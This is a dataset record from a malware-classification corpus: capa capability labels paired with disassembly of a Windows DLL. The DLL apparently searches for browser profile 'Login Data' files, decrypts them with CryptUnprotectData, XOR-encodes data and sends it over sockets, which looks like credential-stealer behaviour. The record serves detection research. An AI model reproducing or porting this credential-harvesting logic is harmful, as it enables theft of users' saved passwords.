joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800047b0
Capabilities:
Send data
Send data on socket

Disassembly:
push rbx
sub rsp, 0x20
mov eax, dword [rdx + 0x14]
mov rbx, rcx
test eax, eax
je 0x1800047e0
mov dword [rcx + 0x50], eax
mov dword [rcx + 0x48], 1
mov dword [rcx + 0x4c], 2
xor eax, eax
mov dword [rcx + 0x54], 1
add rsp, 0x20
pop rbx
ret
mov rdx, qword [rcx + 0x60]
mov rcx, qword [rcx + 0x58]
mov r8d, 0x23
call qword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x18000481f
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [rbx + 0x48], 1
mov dword [rbx + 0x4c], 2
mov dword [rbx + 0x50], eax
xor eax, eax
mov dword [rbx + 0x54], 1
add rsp, 0x20
pop rbx
ret
mov dword [rbx + 0x88], 1
lea r9, [rbx + 0x220]
lea rcx, [rbx + 0x268]
mov r8, rbx
mov rdx, rbx
mov qword [rsp + 0x30], rdi
mov dword [rbx + 0x8c], 1
call fcn.180005c60
mov rcx, qword [rbx + 0x58]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor edi, edi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x18000487a
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
cmove eax, edi
mov edi, eax
mov rcx, qword [rbx + 0x68]
call fcn.180003280
test edi, edi
mov rdi, qword [rsp + 0x30]
je 0x180004897
mov ecx, 0x80004005
call fcn.180001300
int3
mov eax, 1
add rsp, 0x20
pop rbx
ret

Function at 0x1800048b0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rdi
sub rsp, 0x30
mov rbx, rcx
lea rbp, [0x1802b8928]
nop dword [rax]
mov rdx, qword [rbx + 0xa0]
mov rcx, qword [rbx + 0x58]
xor r9d, r9d
mov r8d, 0x598
call qword [sym.imp.WS2_32.dll_recv]
mov edi, eax
test eax, eax
jle 0x180004969
cmp eax, 0x10
jne 0x18000491c
mov rax, qword [rbx + 0xa0]
mov rdx, qword [rax]
cmp rdx, qword [rbp]
jne 0x180004913
mov rdx, qword [rax + 8]
cmp rdx, qword [rbp + 8]
jne 0x180004913
xor eax, eax
jmp 0x180004918
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x18000499b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov r11d, dword [rbx + 0x244]
mov rdx, qword [rbx + 0xa0]
lea rcx, [rbx + 0x268]
cmp edi, 0x18
jl 0x180004954
mov r9, qword [rbx + 0x250]
mov r8d, edi
mov dword [rsp + 0x20], r11d
call fcn.1800062b0
jmp 0x18000495e
cmp edi, 0xc
jne 0x1800049c3
call fcn.180006120
cmp eax, 2
jne 0x1800048d0
jmp 0x1800049ce
cmp eax, 0xffffffff
jne 0x1800048d0
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x180004a11
cmp eax, 0x2744
je 0x1800048d0
cmp eax, 0x2746
je 0x1800048d0
jmp 0x1800049e7
mov dword [rbx + 0x48], 1
mov qword [rbx + 0x4c], 5
mov dword [rbx + 0x54], 0
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov ecx, recv
call qword [sym.imp.WS2_32.dll_WSASetLastError]
mov rcx, qword [rbx + 0x68]
call fcn.180003280
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x4c7
test eax, eax
cmove eax, ecx
mov dword [rbx + 0x48], 1
mov dword [rbx + 0x4c], 4
mov dword [rbx + 0x50], eax
mov dword [rbx + 0x54], 1
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov eax, 1
add rsp, 0x30
pop rdi
ret
Function at 0x180004a30
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov rbp, rcx
lea rdi, [rcx + 0xb8]
call fcn.180004c30
mov rsi, rax
test rax, rax
je 0x180004b48
nop word [rax + rax]
mov r8d, dword [rsi + 0x30]
mov rdx, qword [rsi + 0x28]
mov rcx, qword [rbp + 0x58]
sub r8d, dword [rsi + 0x28]
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
mov r12d, eax
test eax, eax
jle 0x180004ab3
lea rcx, [rbp + 0x1b8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
sub dword [rbp + 0x218], r12d
lea rcx, [rbp + 0x1b8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x180004abc
cmp eax, 0xffffffff
je 0x180004b74
cmp qword [rdi + 0x38], 0
je 0x180004b1c
xor r9d, r9d
cmp dword [rdi + 0x30], r9d
jbe 0x180004b1c
nop dword [rax]
mov r8d, dword [rdi + 0x78]
mov eax, dword [rdi + 0xb8]
mov r10d, dword [rdi + 0x30]
mov ecx, r8d
sub ecx, eax
cmp ecx, r10d
jge 0x180004b1c
xor edx, edx
mov eax, r8d
div r10d
mov ecx, edx
mov rdx, qword [rdi + 0x38]
cmp qword [rdx + rcx*8], 0
jne 0x180004b07
xor eax, eax
lock cmpxchg qword [rdx + rcx*8], rsi
je 0x180004b66
lea ecx, [r8 + 1]
mov eax, r8d
lock cmpxchg dword [rdi + 0x78], ecx
inc r9d
cmp r9d, dword [rdi + 0x30]
jb 0x180004ad0
mov rcx, qword [rsi]
mov r8, rsi
xor edx, edx
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rbp
lea rdi, [rbp + 0xb8]
call fcn.180004c30
mov rsi, rax
test rax, rax
jne 0x180004a70
mov eax, 1
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
lea ecx, [r8 + 1]
mov eax, r8d
lock cmpxchg dword [rdi + 0x78], ecx
jmp 0x180004b2d
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x180004be1
lea rcx, [rbp + 0x1b8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rbp + 0x1e8]
test rax, rax
je 0x180004bab
mov qword [rax + 0x10], rsi
mov rax, qword [rbp + 0x1e8]
mov qword [rsi + 8], rax
jmp 0x180004bc2
mov qword [rsi + 0x10], 0
mov qword [rsi + 8], 0
mov qword [rbp + 0x1f0], rsi
inc dword [rbp + 0x1e0]
lea rcx, [rbp + 0x1b8]
mov qword [rbp + 0x1e8], rsi
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x180004b48
lea rcx, [rdi + 0x30]
mov rdx, rsi
mov dword [rbp + 0x48], 1
mov dword [rbp + 0x4c], 3
mov dword [rbp + 0x50], eax
mov dword [rbp + 0x54], 1
call fcn.180001690
test eax, eax
jne 0x180004c1a
mov rcx, qword [rsi]
mov r8, rsi
xor edx, edx
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
jmp 0x180004b4d
Function at 0x180004ce0
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rcx, rbx
mov edi, eax
call fcn.1800040c0
test eax, eax
jne 0x180004d0c
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov edx, edi
mov rcx, rbx
call fcn.180004f00
mov eax, dword [rbx + 0x88]
xor edi, edi
test eax, eax
je 0x180004d45
cmp dword [rbx + 0x54], edi
je 0x180004d3f
mov rcx, qword [rbx + 0x58]
lea r8d, [rdi + 0x10]
lea rdx, [0x1802b8928]
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
mov dword [rbx + 0x88], edi
cmp dword [rbx + 0x48], edi
je 0x180004d62
mov rcx, qword [rbx + 0x68]
call fcn.180003280
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, edi
xchg dword [rbx + 0x20], eax
mov rcx, qword [rbx + 0x60]
test rcx, rcx
je 0x180004d75
call qword [sym.imp.WS2_32.dll_WSACloseEvent]
mov qword [rbx + 0x60], rdi
mov rcx, qword [rbx + 0x58]
cmp rcx, 0xffffffffffffffff
je 0x180004d9c
mov edx, 1
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, qword [rbx + 0x58]
call qword [sym.imp.WS2_32.dll_closesocket]
mov qword [rbx + 0x58], 0xffffffffffffffff
mov rcx, rbx
call fcn.180004dc0
mov rbx, qword [rsp + 0x30]
mov eax, 1
add rsp, 0x20
pop rdi
ret

Function at 0x1800052b0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rbx, rcx
mov rcx, qword [rcx + 8]
mov edi, r8d
mov rsi, rdx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, qword [rbx + 0x358]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.WINMM.dll_timeGetTime]
mov dword [rbx + 0x1c], eax
xor eax, eax
xchg dword [rbx + 0x20], eax
xor eax, eax
mov qword [rbx + 0x30], rax
mov word [rbx + 0x38], ax
mov rax, qword [rbx + 0x1c]
mov qword [rbx + 0x30], rax
mov eax, dword [rbx + 0x8c]
mov word [rbx + 0x38], 0x1ca
cmp eax, 3
je 0x180005318
mov rcx, rbx
call fcn.180004ce0
movzx r8d, di
mov rdx, rsi
mov rcx, rbx
call fcn.180003ed0
mov rcx, qword [rbx + 0x358]
mov edx, 0x1770
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x180005368
cmp eax, 0x102
je 0x180005349
cmp eax, 0xffffffff
jne 0x180005356
mov rcx, qword [rbx + 0x358]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor al, al
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
mov eax, 1
xchg dword [rbx + 0x20], eax
mov rcx, qword [rbx + 0x358]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea r11, [rsp + 0x40]
lea r8, [0x1800053c0]
mov qword [rsp + 0x28], r11
mov r9, rbx
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call fcn.1800ad9c8
mov rsi, qword [rsp + 0x50]
mov qword [rbx + 0x360], rax
mov rbx, qword [rsp + 0x48]
mov al, 1
add rsp, 0x30
pop rdi
ret
Function at 0x180005510
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov esi, r8d
mov r12, rdx
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rdi + 0x14], eax
je 0x180005553
nop dword [rax]
mov r9d, 1
xchg dword [rdi + 0x10], r9d
cmp r9d, 1
je 0x180005540
mov dword [rdi + 0x14], eax
inc dword [rdi + 0x18]
xor r13d, r13d
lea ebp, [rsi + 0xe]
cmp qword [rdi + 0x340], r13
jne 0x18000556a
mov edx, r13d
jmp 0x180005576
mov edx, dword [rdi + 0x348]
sub edx, dword [rdi + 0x340]
lea rcx, [rdi + 0x338]
add edx, 4
call fcn.180001160
mov rax, qword [rdi + 0x348]
mov dword [rax], ebp
add qword [rdi + 0x348], 4
cmp qword [rdi + 0x340], r13
jne 0x1800055a4
mov edx, r13d
jmp 0x1800055b0
mov edx, dword [rdi + 0x348]
sub edx, dword [rdi + 0x340]
lea rcx, [rdi + 0x338]
add edx, 0xa
call fcn.180001160
mov rax, qword [rdi + 0x30]
mov rcx, qword [rdi + 0x348]
mov qword [rcx], rax
movzx eax, word [rdi + 0x38]
mov word [rcx + 8], ax
add qword [rdi + 0x348], 0xa
cmp qword [rdi + 0x340], r13
jne 0x1800055eb
mov eax, r13d
jmp 0x1800055f7
mov eax, dword [rdi + 0x348]
sub eax, dword [rdi + 0x340]
lea edx, [rax + rsi]
lea rcx, [rdi + 0x338]
call fcn.180001160
mov rcx, qword [rdi + 0x348]
mov r8, rsi
mov rdx, r12
call fcn.1800acfd0
mov r11d, r13d
mov r9, r13
mov r10, r13
test esi, esi
jle 0x180005684
nop word [rax + rax]
movzx ecx, byte [rdi + r9 + 0x30]
mov r8, qword [rdi + 0x348]
inc r9
mov eax, 0x8fb823ef
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0xcccccccd
imul edx, edx, 0x1c8
sub ecx, edx
mul r11d
add cl, 0x36
xor byte [r10 + r8], cl
shr edx, 3
lea ecx, [rdx + rdx*4]
add ecx, ecx
cmp r11d, ecx
cmove r9, r13
inc r11d
inc r10
cmp r11d, esi
jl 0x180005630
add qword [rdi + 0x348], rsi
cmp qword [rdi + 0x340], r13
jne 0x180005699
mov r8d, r13d
jmp 0x1800056a7
mov r8d, dword [rdi + 0x348]
sub r8d, dword [rdi + 0x340]
mov rdx, qword [rdi + 0x340]
mov rcx, rdi
call fcn.180005710
mov r11, qword [rdi + 0x340]
lea rcx, [rdi + 0x338]
mov edx, 0x400
mov qword [rdi + 0x348], r11
call fcn.180001220
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp eax, dword [rdi + 0x14]
mov eax, 1
jne 0x1800056ee
dec dword [rdi + 0x18]
jne 0x1800056ee
mov qword [rdi + 0x10], r13
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x1800077b0
Capabilities:
Enumerate files on windows

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
lea rbp, [rsp - 0xd0]
sub rsp, 0x1d0
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x210], rbx
mov rax, qword [0x1802e4710]
xor rax, rsp
mov qword [rbp + 0xc0], rax
mov rbx, rdx
mov r12, rcx
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x48], reloc.WS2_32.dll_ntohs
xor r13d, r13d
mov qword [rsp + 0x40], r13
mov byte [rsp + 0x30], r13b
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rcx, [rsp + 0x30]
call fcn.180009300
nop
lea r8d, [r13 + 1]
lea rdx, [0x1802b99f8]
lea rcx, [rsp + 0x30]
call fcn.180009600
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rcx, qword [rsp + 0x30]
lea rdx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x180007880
cmp qword [rsp + 0x48], 0x10
jb 0x180007867
mov rcx, qword [rsp + 0x30]
call fcn.1800acf88
mov qword [rsp + 0x48], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x40], r13
mov byte [rsp + 0x30], 0
jmp 0x180007963
test byte [rbp - 0x80], 0x10
je 0x18000790c
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp - 0x54]
repne scasb al, byte [rdi]
not rcx
dec rcx
cmp rcx, 0x20
jne 0x18000790c
lea r8, [rbp - 0x54]
mov rdx, rbx
lea rcx, [rsp + 0x58]
call fcn.180009fb0
nop
mov r8d, 0xa
lea rdx, str._assis2.db
lea rcx, [rsp + 0x58]
call fcn.180009600
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rcx, qword [rsp + 0x58]
xor edx, edx
call fcn.1800adfd8
test eax, eax
jne 0x180007922
lea rcx, [r12 + 0xb0]
lea rdx, [rsp + 0x58]
call fcn.180008f80
nop
cmp qword [rsp + 0x70], 0x10
jb 0x18000790c
mov rcx, qword [rsp + 0x58]
call fcn.1800acf88
lea rdx, [rbp - 0x80]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x180007934
jmp 0x180007880
cmp qword [rsp + 0x70], 0x10
jb 0x180007934
mov rcx, qword [rsp + 0x58]
call fcn.1800acf88
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
cmp qword [rsp + 0x48], 0x10
jb 0x180007950
mov rcx, qword [rsp + 0x30]
call fcn.1800acf88
mov qword [rsp + 0x48], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x40], r13
mov byte [rsp + 0x30], 0
cmp qword [rbx + 0x18], 0x10
jb 0x180007972
mov rcx, qword [rbx]
call fcn.1800acf88
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rbx + 0x10], r13
mov byte [rbx], 0
mov rcx, qword [rbp + 0xc0]
xor rcx, rsp
call fcn.1800acfa0
mov rbx, qword [rsp + 0x210]
add rsp, 0x1d0
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000bba0
Capabilities:
Encrypt data using dpapi

Disassembly:
push rbp
sub rsp, 0x50
mov rbp, rdx
lea rdx, [rsp + 0x70]
call fcn.18000b9e0
test rax, rax
je 0x18000bbc0
xor al, al
add rsp, 0x50
pop rbp
ret
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x78], rdi
mov rdi, qword [rsp + 0x70]
lea rdx, str.________________________________________________456789:_________
mov rax, rdi
nop
movzx ecx, byte [rax]
inc rax
cmp byte [rcx + rdx], 0x3f
jbe 0x18000bbe0
sub eax, edi
add eax, 2
cdq
and edx, 3
add eax, edx
sar eax, 2
lea edx, [rax + rax*2 + 1]
movsxd rbx, edx
mov rcx, rbx
call fcn.1800ad540
mov rdx, rdi
mov rcx, rax
mov rsi, rax
call fcn.18000c350
mov rcx, rdi
call fcn.1800ad500
xor eax, eax
lea rcx, [rsi + 5]
lea r11d, [rbx - 5]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], eax
lea rcx, [rsp + 0x40]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x40], r11d
mov qword [rsp + 0x20], rax
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
mov rdi, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x60]
test eax, eax
jne 0x18000bc6d
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rbp
ret
mov rcx, rsi
call fcn.1800ad500
mov rsi, qword [rsp + 0x68]
mov al, 1
add rsp, 0x50
pop rbp
ret
Function at 0x18000bc90
Capabilities:
Enumerate files on windows

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
lea rbp, [rax - 0xe8]
sub rsp, 0x1d0
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
mov rax, qword [0x1802e4710]
xor rax, rsp
mov qword [rbp + 0xc0], rax
mov rbx, rdx
mov rsi, rcx
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x48], reloc.WS2_32.dll_ntohs
xor r12d, r12d
mov qword [rsp + 0x40], r12
mov byte [rsp + 0x30], r12b
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rcx, [rsp + 0x30]
call fcn.180009300
nop
lea r8d, [r12 + 1]
lea rdx, [0x1802b99f8]
lea rcx, [rsp + 0x30]
call fcn.180009600
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rcx, qword [rsp + 0x30]
lea rdx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x18000bd60
cmp qword [rsp + 0x48], 0x10
jb 0x18000bd46
mov rcx, qword [rsp + 0x30]
call fcn.1800acf88
mov qword [rsp + 0x48], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x40], r12
mov byte [rsp + 0x30], 0
jmp 0x18000be56
test byte [rbp - 0x80], 0x10
je 0x18000bdff
cmp byte [rbp - 0x54], 0x33
jne 0x18000bdff
cmp byte [rbp - 0x53], 0x36
jne 0x18000bdff
cmp byte [rbp - 0x52], 0x30
jne 0x18000bdff
cmp byte [rbp - 0x51], 0x55
jne 0x18000bdff
cmp byte [rbp - 0x50], 0x49
jne 0x18000bdff
cmp byte [rbp - 0x4f], 0x44
jne 0x18000bdff
lea r8, [rbp - 0x54]
mov rdx, rbx
lea rcx, [rsp + 0x58]
call fcn.180009fb0
nop
mov r8d, reloc.WS2_32.dll_inet_addr
lea rdx, str.Login_Data
lea rcx, [rsp + 0x58]
call fcn.180009600
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rcx, qword [rsp + 0x58]
xor edx, edx
call fcn.1800adfd8
test eax, eax
jne 0x18000be15
lea rcx, [rsi + 0xb0]
lea rdx, [rsp + 0x58]
call fcn.180008f80
nop
cmp qword [rsp + 0x70], 0x10
jb 0x18000bdff
mov rcx, qword [rsp + 0x58]
call fcn.1800acf88
lea rdx, [rbp - 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x18000be27
jmp 0x18000bd60
cmp qword [rsp + 0x70], 0x10
jb 0x18000be27
mov rcx, qword [rsp + 0x58]
call fcn.1800acf88
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
cmp qword [rsp + 0x48], 0x10
jb 0x18000be43
mov rcx, qword [rsp + 0x30]
call fcn.1800acf88
mov qword [rsp + 0x48], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x40], r12
mov byte [rsp + 0x30], 0
cmp qword [rbx + 0x18], 0x10
jb 0x18000be65
mov rcx, qword [rbx]
call fcn.1800acf88
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rbx + 0x10], r12
mov byte [rbx], 0
mov rcx, qword [rbp + 0xc0]
xor rcx, rsp
call fcn.1800acfa0
lea r11, [rsp + 0x1d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret
Function at 0x1800132a0
Capabilities:
Encode data using xor

Disassembly:
mov r10d, 1
mov r8, rcx
cmp dword [rcx + 0x1c], r10d
jbe 0x1800133b1
lea r9, [rcx + 0x32]
lea r11, [0x180000000]
nop
movzx edx, byte [r9 + 1]
movzx eax, byte [r9 - 1]
inc r10d
mov ecx, dword [r11 + rdx*4 + 0x2ece40]
add r9, 0x10
xor ecx, dword [r11 + rax*4 + 0x2ec640]
movzx eax, byte [r9 - 0x10]
xor ecx, dword [r11 + rax*4 + 0x2eca40]
movzx eax, byte [r9 - 0x12]
xor ecx, dword [r11 + rax*4 + 0x2ec240]
mov dword [r9 - 0x12], ecx
movzx ecx, byte [r9 - 0xb]
movzx eax, byte [r9 - 0xc]
mov edx, dword [r11 + rcx*4 + 0x2ece40]
xor edx, dword [r11 + rax*4 + 0x2eca40]
movzx eax, byte [r9 - 0xd]
xor edx, dword [r11 + rax*4 + 0x2ec640]
movzx eax, byte [r9 - 0xe]
xor edx, dword [r11 + rax*4 + 0x2ec240]
mov dword [r9 - 0xe], edx
movzx ecx, byte [r9 - 7]
movzx eax, byte [r9 - 8]
mov edx, dword [r11 + rcx*4 + 0x2ece40]
xor edx, dword [r11 + rax*4 + 0x2eca40]
movzx eax, byte [r9 - 9]
xor edx, dword [r11 + rax*4 + 0x2ec640]
movzx eax, byte [r9 - 0xa]
xor edx, dword [r11 + rax*4 + 0x2ec240]
mov dword [r9 - 0xa], edx
movzx eax, byte [r9 - 4]
movzx ecx, byte [r9 - 3]
mov edx, dword [r11 + rcx*4 + 0x2ece40]
xor edx, dword [r11 + rax*4 + 0x2eca40]
movzx eax, byte [r9 - 5]
xor edx, dword [r11 + rax*4 + 0x2ec640]
movzx eax, byte [r9 - 6]
xor edx, dword [r11 + rax*4 + 0x2ec240]
mov dword [r9 - 6], edx
cmp r10d, dword [r8 + 0x1c]
jb 0x1800132c0
repz ret
Function at 0x18001b890
Capabilities:
Encode data using xor

Disassembly:
mov r9, rcx
movzx ecx, byte [rcx]
xor eax, eax
test cl, cl
je 0x18001b8c3
lea r10, [0x1802b5490]
movzx edx, cl
lea ecx, [rax*8]
inc r9
movzx r8d, byte [rdx + r10]
xor r8d, ecx
movzx ecx, byte [r9]
xor eax, r8d
test cl, cl
jne 0x18001b8a3
repz ret

Function at 0x18001b940
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
mov eax, edx
mov edi, edx
shl rax, 4
mov ecx, 0x40
cmp rax, 0x400
cmova edi, ecx
cmp edi, dword [rbx]
jne 0x18001b974
xor eax, eax
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rax, qword [0x1802f09c0]
test rax, rax
je 0x18001b982
call rax
mov ecx, edi
shl rcx, 4
call fcn.180016e00
mov rcx, qword [0x1802f09c8]
mov rdi, rax
test rcx, rcx
je 0x18001b99e
call rcx
test rdi, rdi
je 0x18001b967
mov rcx, qword [rbx + 0x10]
mov qword [rsp + 0x38], rsi
call fcn.180017120
mov rcx, rdi
mov qword [rbx + 0x10], rdi
call qword [0x1802e7fc0]
xor edx, edx
mov rcx, rdi
movsxd rsi, eax
shr rsi, 4
mov r8d, esi
mov dword [rbx], esi
shl r8, 4
call fcn.1800b45b0
mov r8, qword [rbx + 8]
xor r11d, r11d
mov qword [rbx + 8], r11
test r8, r8
je 0x18001bab2
mov qword [rsp + 0x30], rbp
lea rbp, [0x1802b5490]
nop dword [rax + rax]
mov r9, qword [r8 + 0x18]
mov eax, r11d
movzx ecx, byte [r9]
test cl, cl
je 0x18001ba2d
nop
movzx ecx, cl
inc r9
movzx edx, byte [rcx + rbp]
lea ecx, [rax*8]
xor edx, ecx
movzx ecx, byte [r9]
xor eax, edx
test cl, cl
jne 0x18001ba10
mov r10, qword [r8]
xor edx, edx
div esi
mov r9d, edx
shl r9, 4
add r9, rdi
je 0x18001ba85
mov eax, dword [r9]
test eax, eax
je 0x18001ba4d
mov rcx, qword [r9 + 8]
jmp 0x18001ba50
mov rcx, r11
inc eax
mov qword [r9 + 8], r8
mov dword [r9], eax
test rcx, rcx
je 0x18001ba85
mov qword [r8], rcx
mov rax, qword [rcx + 8]
mov qword [r8 + 8], rax
mov rax, qword [rcx + 8]
test rax, rax
je 0x18001ba7b
mov qword [rax], r8
mov qword [rcx + 8], r8
jmp 0x18001baa1
mov qword [rbx + 8], r8
mov qword [rcx + 8], r8
jmp 0x18001baa1
mov rax, qword [rbx + 8]
mov qword [r8], rax
mov rax, qword [rbx + 8]
test rax, rax
je 0x18001ba99
mov qword [rax + 8], r8
mov qword [r8 + 8], r11
mov qword [rbx + 8], r8
mov r8, r10
test r10, r10
jne 0x18001ba00
mov rbp, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
mov eax, 1
add rsp, 0x20
pop rdi
ret
Function at 0x18001bad0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov rbx, r8
mov r8, qword [rcx + 0x10]
xor r9d, r9d
mov rdi, rdx
mov r11, rcx
lea rsi, [0x1802b5490]
test r8, r8
je 0x18001bb3f
movzx eax, byte [rdx]
mov r10, rdx
test al, al
je 0x18001bb24
movzx eax, al
inc r10
movzx ecx, byte [rax + rsi]
lea eax, [r9*8]
xor ecx, eax
movzx eax, byte [r10]
xor r9d, ecx
test al, al
jne 0x18001bb05
mov eax, r9d
xor edx, edx
div dword [r11]
mov eax, edx
mov r9d, edx
add rax, rax
mov r10, qword [r8 + rax*8 + 8]
mov r11d, dword [r8 + rax*8]
jmp 0x18001bb47
mov r10, qword [rcx + 8]
mov r11d, dword [rcx + 4]
mov dword [rbx], r9d
test r11d, r11d
je 0x18001bbac
movzx eax, byte [rdi]
movzx ebx, byte [rax + rsi]
nop word [rax + rax]
mov r8, qword [r10 + 0x18]
dec r11d
movzx edx, byte [r8]
movzx eax, byte [rdx + rsi]
sub eax, ebx
jne 0x18001bba4
mov r9, rdi
sub r9, r8
nop dword [rax]
test dl, dl
je 0x18001bba0
movzx eax, byte [r9 + r8 + 1]
movzx edx, byte [r8 + 1]
inc r8
movzx ecx, byte [rax + rsi]
movzx eax, byte [rdx + rsi]
sub eax, ecx
je 0x18001bb80
jmp 0x18001bba4
test eax, eax
je 0x18001bbbe
mov r10, qword [r10]
test r11d, r11d
jne 0x18001bb60
xor eax, eax
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
mov rax, r10
ret